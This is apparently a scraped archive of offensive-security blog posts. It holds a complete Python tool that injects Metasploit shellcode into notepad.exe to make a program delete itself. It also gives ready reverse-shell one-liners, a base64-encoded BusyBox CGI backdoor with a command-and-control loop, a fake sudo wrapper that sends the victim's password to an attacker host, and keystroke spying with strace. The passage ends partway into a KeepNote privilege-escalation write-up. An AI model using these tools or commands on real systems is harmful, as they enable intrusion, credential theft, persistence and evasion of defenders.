In order to terminate and delete a running PE we will use two things: the full file path and the current process id. If you are using an interpreted language, you may also wish to know whether the processes is running as a standalone script or from inside a packed executable.<br />
<br />
<h3>
State Detection:</h3>
<div>
As many people are using Python with things like pyinstaller, p2exe, or cx_Freeze to pack up interpreted code. Creating code that works when run as a script or a packed PE can useful. In this example I use Thomas Heller's (ctypes and py2exe notoriety) suggestions found <a href="http://www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe">here</a> to determine the state of the file, script, or exe.</div>
<div>
<br /></div>
<h3>
Building our Payload:</h3>
As this point of this post is clarify the deletion method and not about writing shellcode that calls <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915(v=vs.85).aspx">DeleteFileA</a> from kernel32.lib, I will use slightly modified shellcode from the Metasploit project's <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx">WinExec</a> payload. I change the value of uCmdSHow to cause our commands to run without a visible window. The second part of our shellcode is a bit of a hack, but hopefully it makes things accessible and clear to the reader. Since we aren't writing our own shellcode, and don't have access to <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms686307(v=vs.85).aspx">SleepEx</a>, we use ping along with an unreachable address and a known timeout to create a sleep state. The purpose of this sleep is to ensure that the call to taskkill has completed terminating the primary process before we attempt to remove it from disk. In writing your own code you may choose to simply have the process exit() before removing the file. I find terminating the process to be a more aggressive form of removal when triggering this method of self-deletion on errors or signals.<br />
<span style="font-family: inherit;"><br /></span>Command String -<br />
<pre class="prettyprint lang-py">cmd /c taskkill /F /PID > nul <pid> && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q <Path>
</pre>
<div>
<br /></div>
<span style="font-family: inherit;">Shellcode -</span>
<br />
<pre class="prettyprint lang-py">"""
http://www.rapid7.com/db/modules/payload/windows/exec
Authors: vlad902 <vlad902[at]gmail.com>, sf <stephenfewer[at]harmonysecurity.com>
We modify "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
UINT WINAPI WinExec(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow
);
"""
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52
\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26
\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d
\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0
\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b
\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff
\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d
\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b
\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44
\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b
\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68
\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95
\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb
\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5 + commandstr + \x00
</pre>
<br />
<div>
<h3 style="white-space: normal;">
<span style="font-family: inherit;">Remote Process:</span></h3>
You can use any process for which you can request appropriate handle permissions, however, I recommend you open a new process that will not be interacted with by users. <span style="font-family: inherit;">Additionally, be mindful of process load time when using thread creation </span>flags that request immediate execution. For these reason I will use notepad.exe.<br />
<span style="font-family: inherit;"><br /></span>
<br />
<h3>
<span style="font-family: inherit;">Injection Process:</span></h3>
<div style="white-space: normal;">
<span style="font-family: inherit;">There are four stages to our remote thread injection. First we must request access to interact with the remote process we are targeting as our cleanup helper via <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx">OpenProcess</a>. Once we have a handle with appropriate permission, we allocate enough memory for our payload with <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx">VitualAllocEx</a>. Now that we have a space to write our payload, we copy our buffer into the space using <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx">WriteProcessMemory</a>. If the write succeeds, we can kick off our code with <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx">CreateRemoteThread</a>. There are many ways to perform remote thread injection, those shown here are among the most common and easy to follow.</span><b><br /></b><br />
<b>Note</b>: <span style="font-family: inherit;">You can also start your helper process then inject a suspended thread that is triggered from your primary process based on later signals, exceptions, or states. I shy away from this as it leaves a larger footprint in the process list.</span></div>
<div>
<div>
<br />
<br /></div>
<h3>
<span style="font-family: inherit;">Libraries and Compilation:</span></h3>
</div>
<div>
Common libraries/methods that can provide access to the functions necessary for this approach:</div>
<div>
<b>Python</b> - Ctypes.windll.kernel32</div>
<div>
<b>C#</b> - [DllImport("kernel32")], Marshal.GetFunctionPointerForDelegate </div>
<div>
<b>C/C++ </b>-<b> </b>LoadLibrary("kernel32.dll")<br />
<b>Java </b>- JNI, com.sun.jna, sun.misc.unsafe</div>
<div>
<br />
When compiling code that uses this method, due to difference in size of PROCESS_ALL_ACCESS between windows versions, be certain to set <span style="font-family: inherit; font-size: x-small;">_WIN32_WINNT || _WIN32_WINNT_WINXP</span> appropriately. Alternatively, you can simply compile your code on a system relative to the oldest Windows version your code will target.</div>
<div>
<br />
<!-- There is no why, there is only taquito 0======0 -->
<br />
<br />
<h4>
Example Self Deleting File:</h4>
The following code will self delete using remote threat injection as either a raw python script or when ran as an executable.<br />
I've tried to make the significance of each Windows function argument as clear as possible. Code on <a href="https://github.com/themson/cleanup">github</a>.</div>
<pre class="prettyprint lang-py"><span style="font-size: x-small;">
#!/usr/bin/env python
from __future__ import print_function, absolute_import, unicode_literals
import subprocess
from time import sleep
import os
import ctypes
import sys
from imp import is_frozen
__author__ = 'themson mester'
"""
WinExec shellcode sourced from the Metasploit Framework.
http://www.rapid7.com/db/modules/payload/windows/exec
Authors - vlad902 <vlad902 [at] gmail.com>, sf <stephenfewer [at] harmonysecurity.com>
I have modified "\x6a\x01" push 01 to "\x6a\x00" push 00 to unset uCmdShow
WinExec: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687393(v=vs.85).aspx
UINT WINAPI WinExec(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow
);
"""
SHELLCODE = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + \
b"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \
b"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + \
b"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + \
b"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + \
b"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + \
b"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + \
b"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + \
b"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + \
b"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + \
b"\x12\xeb\x86\x5d\x6a\x00\x8d\x85\xb9\x00\x00\x00\x50\x68" + \
b"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" + \
b"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + \
b"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
TARGET_PROCESS = b'notepad.exe'
def is_frozen_main():
"""Freeze detection Bool
From www.py2exe.org/index.cgi/HowToDetermineIfRunningFromExe
ThomasHeller posted to the py2exe mailing list
:return: bool
"""
return (hasattr(sys, "frozen") or # new py2exe
hasattr(sys, "importers") # old py2exe
or is_frozen("__main__")) # tools/freeze
def get_state():
"""Get pid and path
Acquire current process pid
Check execution state (PE || script)
Acquire current process file path
:return pid, path: str, str
"""
current_pid = str(os.getpid())
if is_frozen_main():
current_path = sys.executable
else:
current_path = os.path.abspath(__file__)
current_path = b'"' + current_path + b'"' # handle paths with spaces, ^ escape will not
return current_pid, current_path
def generate_shellcode(pid, path):
"""Finalize shellcode to be injected
Set up cmd to kill PID and remove from disk
:param pid:
:param path:
:return shellcode: bytearray
"""
nullbyte = b'\x00'
cmd_string = b'cmd /c taskkill /F /PID > nul {} && ping 1.1.1.1 -n 1 -w 500 > nul & del /F /Q {}'.format(pid, path)
return bytearray(SHELLCODE + cmd_string + nullbyte)
def child_process(process_name=TARGET_PROCESS):
"""Start windowless proccess in new process group
:param process_name: str
:return process pid: int
"""
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW # Start process windowless
try:
process = subprocess.Popen([process_name], startupinfo=startupinfo,
creationflags=subprocess.CREATE_NEW_PROCESS_GROUP)
except OSError as e:
print('Error: child_process(): {}'.format(e.args))
return -1
sleep(1) # allow process load before injection
return process.pid
def inject_rthread(shellcode, child_pid):
"""Inject shellcode into remote process as new thread
NOTE: non-PEP8 and extraneous names are used to maintain clarity of Windows Function parameter names
OpenProcess: http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
VitualAllocEx: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
Memory Protection Constants: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx
WriteProcessMemory: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
CreateRemoteThread: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx
:param shellcode: byte array
:param child_pid: int
:return success: bool
"""
kernel32 = ctypes.windll.kernel32
byte_length = len(shellcode)
# OpenProcess Arguments
PROCESS_ALL_ACCESS = (0x000F0000L | 0x00100000L | 0xFFF) # all access rights
bInheritHandle = False # do not inherit handle
dwProcessId = child_pid # pid of remote process
# VirtualAllocEx Arguments
lpAddress = None # function determines alloc location
dwSize = byte_length
flAllocationType = 0x1000 # MEM_COMMIT
flProtect = 0x40 # PAGE_EXECUTE_READWRITE
# WriteProcessMemory Arguments
lpBuffer = (ctypes.c_char * byte_length).from_buffer(shellcode) # buffer of shell code chars
nSize = byte_length
lpNumberOfBytesWritten = None # do not return bytes writen length
#CreateRemoteThread Arguments
lpThreadAttributes = None # use default security descriptor
dwStackSize = 0 # use default stack size
lpParameter = None # no vars to pass
dwCreationFlags = 0 # run thread immediately
lpThreadId = None # do not return thread identifier
try:
hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, bInheritHandle, dwProcessId)
lpBaseAddress = kernel32.VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
write_return = kernel32.WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
if write_return != 0:
kernel32.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpBaseAddress,
lpParameter, dwCreationFlags, lpThreadId)
return True
else:
return False
except Exception as e:
print("ERROR: inject_rthread(): {}".format(e.args))
return False
def clean_up():
"""manage clean up process
get pid and path
generate shellcode
launch target process and return cpid
inject into remote thread
:return: success bool
"""
pid, path = get_state()
shell_code = generate_shellcode(pid, path)
child_pid = child_process()
if child_pid == -1:
return False
else:
return inject_rthread(shell_code, child_pid)
def main():
print("Self-Deletion via remote thread injection demo.")
clean_up()
while True:
</span><span style="font-size: x-small;">sleep(1)</span><span style="font-size: x-small;">
if __name__ == "__main__":
main()
</span></pre>
<br />
<h3>
Cleanup:</h3>
I encourage people to explore other methods of code injection and self deletion, there's lots of great tricks out there to be learned. Additionally, consider adding timeout dates to your client-sides that cause self-deletion to trigger before payload execution if a client-side is ever executed outside of scoped testing dates.<br />
<br />
<br />
<span style="font-family: inherit;">Go learn something...</span><br />
<b style="color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;"><a href="https://twitter.com/ThemsonMester">@ThemsonMester</a></b><br />
<br />
<br />
<br style="background-color: #222222; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;" />
Cited Resources:</div>
<div>
<ol>
<li>Ctypes: <a href="https://docs.python.org/2/library/ctypes.html#">https://docs.python.org/2/library/ctypes.html#</a></li>
<li>OpenProcess: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx</a></li>
<li>VitualAllocEx: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx</a></li>
<li>Memory Protection Constants: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx</a></li>
<li>WriteProcessMemory: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx</a></li>
<li>CreateRemoteThread: <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx</a></li>
</ol>
<br />
<br /></div>@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.com0tag:blogger.com,1999:blog-4241045165581630915.post-15100418573472070362014-08-01T13:11:00.000-07:002014-09-18T18:52:26.807-07:00Getting Busy at the Command LineWe all can get a little lazy relying on the frameworks that have arisen due to the monetization of offensive skills. In light of this, I wanted to make a short post to inspire people to explore what can still be done by rubbing two sticks together in a shell.<br />
<b><span style="color: lime;">TL;DR</span> - The command line. Use it more, and harder.</b><br />
<br />
<h4>
<b>Food for Thought</b></h4>
There are thousands of command line tips, tricks, and hacks. I'll toss out a few examples I've used in the last month to get your creativity flowing.<br />
<br />
<h3>
<b>Reverse SSL Shell:</b></h3>
A simple reverse shell using fifos and openssl s_client. There's a great deal you can do with this tool, take a look at the server options.<br />
<pre class="prettyprint lang-bsh">mkfifo /tmp/sfd; /bin/bash -i < /tmp/sfd 2>&1 | openssl s_client -quiet -connect <RHOST>:<RPORT> > /tmp/sfd; rm /tmp/sfd
</pre>
<h3>
<b>Resurrecting Netcat:</b></h3>
There are plenty of ways (pipes) to resurrect good old netcat, but have you ever looked inside of the nc applet in BusyBox? [-e PROG] is still a valid argument.<br />
<pre class="prettyprint lang-bsh">busybox nc <RHOST> <RPORT> -e /bin/busybox ash
</pre>
<h3>
<b>CGI Shell via BusyBox Httpd:</b></h3>
Ever browse the <a href="http://git.busybox.net/busybox/plain/">source</a> of some of the tools on your box? Here's a little cgi shell using the <a href="http://git.busybox.net/busybox/plain/networking/httpd.c">httpd</a> applet in BusyBox.<br />
<br />
<b>Httpd Backdoor</b><br />
<pre class="prettyprint lang-bsh">mkdir -p /tmp/s/cgi-bin;(base64 -d <<<IyEvYmluL2Jhc2gKaWYgWyAiJFJFUVVFU1RfTUVUSE9EIiA9PSAiSEVBRCIgXSAmJiBbICIkSFRUUF9VU0VSX0FHRU5UIiA9PSAibm9wZSIgXTsgdGhlbgogICAgQz0kKGJhc2U2NCAtZCA8PDwgJFFVRVJZX1NUUklORykKICAgIGlmIFsgIiRDIiA9PSAiZXhpdCIgXTsgdGhlbgogICAgICAgIGVjaG8gIkNsZWFuIgogICAgICAgIHJtIC4vcAogICAgICAgIGtpbGwgJChwZ3JlcCBidXN5Ym94KQogICAgIGZpCiAgICAgZWNobyAkKGJhc2ggLWMgIiRDIikKZmkK)>/tmp/s/cgi-bin/p;chmod +x /tmp/s/cgi-bin/p; busybox httpd -f -p <LPORT> -h /tmp/s/; rm -rf /tmp/s/
</pre>
<br />
<b>Self-Cleaning CGI Bash Shell</b><br />
Our backdoor is in the base64 above, and looks like the following.<br />
<br />
Maybe we want to restrict access by HTTP method or user agent? We can utilize the env vars passed to the httpd. Might as well clean up after ourselves while we are at it.<br />
<pre class="prettyprint lang-bsh">#!/bin/bash
if [ "$REQUEST_METHOD" == "HEAD" ] && [ "$HTTP_USER_AGENT" == "nope" ]; then
C=$(base64 -d <<< $QUERY_STRING)
if [ "$C" == "exit" ]; then
echo "Clean"
rm ./p
kill $(pgrep busybox)
fi
echo $(bash -c "$C")
fi
</pre>
<b>C2</b><br />
Now whip up a quick loop on our controlling host that meets our triggers.<br />
<pre class="prettyprint lang-bsh">COMMAND='';
while [ "$COMMAND" != "exit" ]; do
read -p "$ " COMMAND;
echo -e "HEAD /cgi-bin/p?$(base64<<<$COMMAND) HTTP/1.0\nHost:\nUser-Agent: nope\n\n" | ncat <HOST> <PORT>;
done</pre>
<h3>
<b>RSA Keys as Vars:</b></h3>
Need our httpd cgi shell encrypted? Why not toss some RSA keys into variables via file pipes.<br />
<pre class="prettyprint lang-bsh">myfullKey=$(openssl genrsa 2048 -outfile)
mypubkey=$(openssl rsa -in <(echo "$myfullKey") -pubout)
</pre>
To get around key to data size issues, (and be more correct) use these to handle symmetric keys.<br />
I'll leave exact implementation up to you. The point of this post is to inspire ideas, get tinkering!<br />
<pre class="prettyprint lang-bsh">openssl aes-256-cbc [-d] -pass pass:<symetric_key> -a</pre>
<h3>
<b>Privileged Escalation with Shell Wrappers:</b></h3>
<span style="font-family: Courier New, Courier, monospace;"><b>last</b></span> and <span style="font-family: Courier New, Courier, monospace;"><b>history</b></span> tell us a user logs on frequently and uses the sudo command.<br />
We could use LD_PRELOAD... or simply wrap sudo in a argument expanding function.<br />
<br />
We force a sudo timeout, fake an incorrect password entry, send the password encrypted to our server, then issue the user's original command by expanding their arguments.<br />
<pre class="prettyprint lang-bsh">sudo ()
{
/bin/echo [sudo] password for $USER:;
read -s yoink;
openssl s_client -quiet -no_ign_eof -connect <RHOST>:<RPORT> <<<$USER:$yoink 2> /dev/null;
echo "Sorry, try again.";
/usr/bin/sudo -k; /usr/bin/sudo "$@";
}
</pre>
Why bother cracking a password when you can have a user type it for you?<br />
This can also be done with an alias. Which can be hidden with control characters (think ^M).<br />
<br />
<br />
<h3>
<b>Spy on Stdin by Tracing System Calls:</b></h3>
Need to know what a user is typing in their tty?<br />
<pre class="prettyprint lang-bsh">sudo strace -f -p <tty_pid> 2>&1 | grep -o -e 'read(., \".*", 1)'
</pre>
Note: We follow forks with -f in order to grab subprocess and sudo password input.<br />
<br />
<br />
<h3>
<b>Fun with stdin Pipes:</b></h3>
Don't want the user to see your sudo wrapper, a command, or specific argument? There are dozens of ways to avoid logging with escapes and sub-shells (mail, gdb, ash).<br />
<br />
But what about creating a pipe of standard in?<br />
<pre class="prettyprint lang-bsh">$(< /dev/stdin)
<anything you want>
^D^D
</pre>
How could you further hide the process with shell wrappers, aliases, symlinks, exec renames?<br />
What I'm getting at here is, never underestimate the power of leveraging built-in tools in unintended ways.<br />
<br />
<br />
<h4>
<b>The Mindset</b></h4>
For me, this style of thinking is the true sense of "hacking." Learning about an environment or system until you understand what you can make it do, irrespective of what it was intended to do.<br />
<br />
Next time you look at a system, environment, or command, ask yourself the following. Does it: create sockets, alter data, read files, elevate privileges, control the flow of data, alter appearances to a user or process, impact commands before or after execution, alter keyboard entry, import anything from anywhere... ? The list and impact is only limited by your creativity.<br />
<br />
<b>Enough soap-boxing, have a fun time in Las Vegas! Be safe.</b><br />
<br />
<br />
<br />
<br />
Go learn something ...<br />
<a href="https://twitter.com/ThemsonMester">@ThemsonMester</a><br />
<!-- taquito is zen 0======0 -->@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.com0tag:blogger.com,1999:blog-4241045165581630915.post-61178578556967026832014-06-06T08:00:00.000-07:002014-09-18T18:56:10.984-07:00Late Night Privilege Escalation (keepUP)<h3 style="text-align: center;">
</h3>
<h3 style="text-align: center;">
<b>- Exploiting</b><b> Local Interprocess Command Sockets -</b></h3>
<br />
<b>How this came to be:</b><br />
A few weekends ago I was working through exercises from the folks at Offensive Security when the VPN connection died. <span style="font-family: "Courier New",Courier,monospace;">ifconfig</span> told me that the <span style="font-family: "Courier New",Courier,monospace;">tap</span> interface was down, out of habit I fired off <span style="font-family: "Courier New",Courier,monospace;">netstat</span> to see what other connections were established, something strange stood out. There was a root-owned process listening in the <a href="https://en.wikipedia.org/wiki/Registered_port">Registered Ports</a> range, the port number didn't ring a bell. <br />
<br />
Digging deeper with <span style="font-family: "Courier New",Courier,monospace;">lsof, </span><span style="font-family: inherit;">the </span>process turned out to be KeepNote, an open source tool used by OffSec students and pentesters alike to organize their notes.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<b><span style="font-size: small;">This is the story of how that <span style="font-family: "Courier New",Courier,monospace;">netstat</span> became a root shell.</span></b></div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg41Dr03wLhNcIJr-JtxcZLhjGcXI-Kuuj2UXfSmOSPBP488JnXEJocedghLrZZPPX13qnkoPOvFHhQn3xgVXF_D7wf9Xn_QCVuxBumkw4Z1mtq7U1wuneEEqFXzpXpInIeeWXDYbFUrMAf/s1600/netstat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg41Dr03wLhNcIJr-JtxcZLhjGcXI-Kuuj2UXfSmOSPBP488JnXEJocedghLrZZPPX13qnkoPOvFHhQn3xgVXF_D7wf9Xn_QCVuxBumkw4Z1mtq7U1wuneEEqFXzpXpInIeeWXDYbFUrMAf/s1600/netstat.png" height="104" width="640" /></a></div>
</div>
<br />
<h4>
<span style="font-family: inherit;"><span style="font-size: large;"><span style="font-weight: normal;"><b>Creating the Perfect Storm</b></span></span></span></h4>
<span style="font-weight: normal;"><b>The Protocol:</b></span><br />
The first step in our exploration is figuring out exactly what traffic goes over this socket.<br />
<br />
The KeepNote help menu hints of an interprocess command functionality present in the software.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjneiyESFhyHS94sD9QeRmXsfRdSkyk2PyuFh9PhvLNmY700tacxawr93CU4zmbbA_EMerX4aKCjqepYrOxyoAYVYFcVPRkHNI8UYDyZKsaMrSBzoZ2fUgn49fXuWNQ9ktFV8OTwlhFtLwC/s1600/cmdPort.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjneiyESFhyHS94sD9QeRmXsfRdSkyk2PyuFh9PhvLNmY700tacxawr93CU4zmbbA_EMerX4aKCjqepYrOxyoAYVYFcVPRkHNI8UYDyZKsaMrSBzoZ2fUgn49fXuWNQ9ktFV8OTwlhFtLwC/s1600/cmdPort.png" height="81" width="640" /></a></div>
<br />
<br />
Watching the IPC in action we discover a clear-text protocol with an unknown numeric string common across sessions.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Kc-eBaGoySBUkHS23JAZw9Wm8HHGGLvxK5vfS91ZIFCq2TcDAIX_rQrOJ85mFng104PzfAYZ7hCitqz-sB9qMs8Le3iMNqnUOprT5i9dYyyiEbshni2SEhMmFWnWDB2FY2qDTjKz0cgH/s1600/protocol.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Kc-eBaGoySBUkHS23JAZw9Wm8HHGGLvxK5vfS91ZIFCq2TcDAIX_rQrOJ85mFng104PzfAYZ7hCitqz-sB9qMs8Le3iMNqnUOprT5i9dYyyiEbshni2SEhMmFWnWDB2FY2qDTjKz0cgH/s1600/protocol.png" height="392" width="640" /></a></div>
<br />
<br />
To test whether this string plays a role in authentication and or authorization, we replay the session via a raw socket.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsgZihfLdIg_A-Go8wKTMmxmqZysXL7ZXuajhMcAvhtdHD4MkXY7Seo5x3mzJXdYbx5JokQMR26KA-uCknVwyUb3MnD7NGM3N68SK5nzj6HbiRsOZEPBx3_k92c1PtmIivVjHGOsGvJTjV/s1600/replay.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsgZihfLdIg_A-Go8wKTMmxmqZysXL7ZXuajhMcAvhtdHD4MkXY7Seo5x3mzJXdYbx5JokQMR26KA-uCknVwyUb3MnD7NGM3N68SK5nzj6HbiRsOZEPBx3_k92c1PtmIivVjHGOsGvJTjV/s1600/replay.png" height="160" width="640" /></a></div>
<br />
<div style="text-align: center;">
<br />
<b>We just might have something here...</b><br />
<b><br /></b></div>
<b>The Pin:</b><br />
The numeric string appears to be the sole authentication mechanism in the protocol, let's track down how it is created. <br />
A look at the source code reveals the following function. We now know that authentication is based off a key space of 1,000,001 pins<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnrFujgr5AGyfPw4KV2hYwg_KWqAeFwwcrBoCR-Cmkr3afgEdTWnGUr3UbelZDDiiRg6rQKgegwkhaLt280bbEhY5PmNZAgmQ3KN5rNwlXM9a-jkbe8pzqqj3Rmuo17A-S7gBWBmRwnoOp/s1600/pin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnrFujgr5AGyfPw4KV2hYwg_KWqAeFwwcrBoCR-Cmkr3afgEdTWnGUr3UbelZDDiiRg6rQKgegwkhaLt280bbEhY5PmNZAgmQ3KN5rNwlXM9a-jkbe8pzqqj3Rmuo17A-S7gBWBmRwnoOp/s1600/pin.png" /> </a></div>
<br />
<b>The Socket:</b><br />
Just how feasible it is to brute force this pin, and what controls are in place? <br />
For this we search for instances of the socket listen and accept methods.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0qxmPGWo7K6Xx844yrC7I1EOnaycXYi-MrqhILNL8gD1bdCflQzqPssd014rdXp-XlmvabypvrSRoEnLBeq1Q7JVf_TPzcUG-nAcQIKllvdnGZHn9KufL3acGOjoM_DunJQZrelVHymJb/s1600/openSock.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0qxmPGWo7K6Xx844yrC7I1EOnaycXYi-MrqhILNL8gD1bdCflQzqPssd014rdXp-XlmvabypvrSRoEnLBeq1Q7JVf_TPzcUG-nAcQIKllvdnGZHn9KufL3acGOjoM_DunJQZrelVHymJb/s1600/openSock.png" /></a></div>
<div style="text-align: center;">
<b>Note</b>: <span style="font-size: x-small;">Here we discover the port is randomized on process startup.</span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWiqBe2_NNmVAAfXBBZDIvxMyNJfPL6DQfAOxZE0hIR8gwrJaNpGxFFdxYgGIc_8b7qMYFKtbfqAnG4A8__NTtwXPCb7zds54idHQHar5msBhaSHCMnDtlQubHkpvaKaAuhJYSsiDLs4HN/s1600/socket_accept.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWiqBe2_NNmVAAfXBBZDIvxMyNJfPL6DQfAOxZE0hIR8gwrJaNpGxFFdxYgGIc_8b7qMYFKtbfqAnG4A8__NTtwXPCb7zds54idHQHar5msBhaSHCMnDtlQubHkpvaKaAuhJYSsiDLs4HN/s1600/socket_accept.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
We have a listen backlog of 1, however, the manner in which connections are accepted in no way prevents brute forcing the pin. Use of the loopback interface lends additional advantage in the form of a speed increase, and elimination of the need to carefully handle timeouts.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b style="color: red;"><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>The Port:</b></div>
Port randomization in open_socket() forces us to create a means by which to reliably map the PID to a PORT number. Many of you will shout: netstat, lsof, ss, ps, fuser! If you explore these solutions you’ll find the -p flag and process to socket information is not available to non-privileged users.<br />
<br />
We grep /proc for potential representations of the port number and find hex representing the socket pair present in /proc/<pid>/net/tcp. We are able to leverage state information in the file to further identify the socket. From the enum in <a href="https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h#n26">tcp_states.h</a> we know 0A represents a <code></code>TCP_LISTEN state.<br />
<br />
